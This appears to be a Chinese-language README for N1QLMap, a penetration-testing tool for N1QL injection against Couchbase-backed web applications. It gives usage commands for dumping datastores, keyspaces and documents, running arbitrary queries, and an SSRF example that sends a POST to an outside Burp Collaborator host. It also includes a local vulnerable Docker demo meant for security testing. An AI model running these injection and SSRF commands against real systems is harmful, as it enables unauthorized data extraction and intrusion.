N1QLMap 是一款 N1QL 利用工具,目前支持 Couchbase 数据库。该工具支持数据提取以及通过 CURL 进行 SSRF 攻击。
更多信息请参阅:https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database。
用法: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host
位置参数:
host 用于发送 HTTP 请求的主机,例如 https://vulndomain.net
可选参数:
-h, --help 显示此帮助信息并退出
-r REQUEST, --request REQUEST
HTTP 请求文件路径
-k KEYWORD, --keyword KEYWORD
查询成功时 HTTP 响应中存在的关键字
--proxy PROXY 代理服务器地址
--validatecerts 设置标志以强制证书验证。默认不验证证书!
-v, --verbose_debug 将详细级别设置为调试
-d, --datastores 列出可用的数据存储
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
列出特定数据存储 URL 下可用的键空间
-e KEYSPACE_ID, --extract KEYSPACE_ID
从指定键空间提取数据
-q QUERY, --query QUERY
运行任意 N1QL 查询
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
在查询中运行 CURL N1QL 函数,可用于 SSRF
request.txt 文件中。使用 *i* 标记注入点。参考 example_request_1.txt 文件。提取数据存储:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
从指定数据存储 ID 中提取键空间:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
从指定键空间提取所有文档:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
运行任意查询:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
执行 CURL 请求 / SSRF:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
要体验该漏洞,您可以启动带有 Couchbase 和 NodeJS Web 应用程序的 Docker 机器。如果您已满足要求,只需运行:
cd n1ql-demo
./quick_setup.sh
现在,您可以针对容器化的 Web 应用程序运行"用法"部分中描述的命令。
N1QLMap.py 脚本除了 Python 3 之外不需要任何特定要求。
以下要求仅针对 n1ql-demo 目录中提供的演示。
在 Kali 上安装 Docker 和 Docker Compose:
# Docker 安装
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
# 启动 Docker 服务
systemctl start docker
# Docker Compose 安装
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
测试 Docker:
docker run hello-world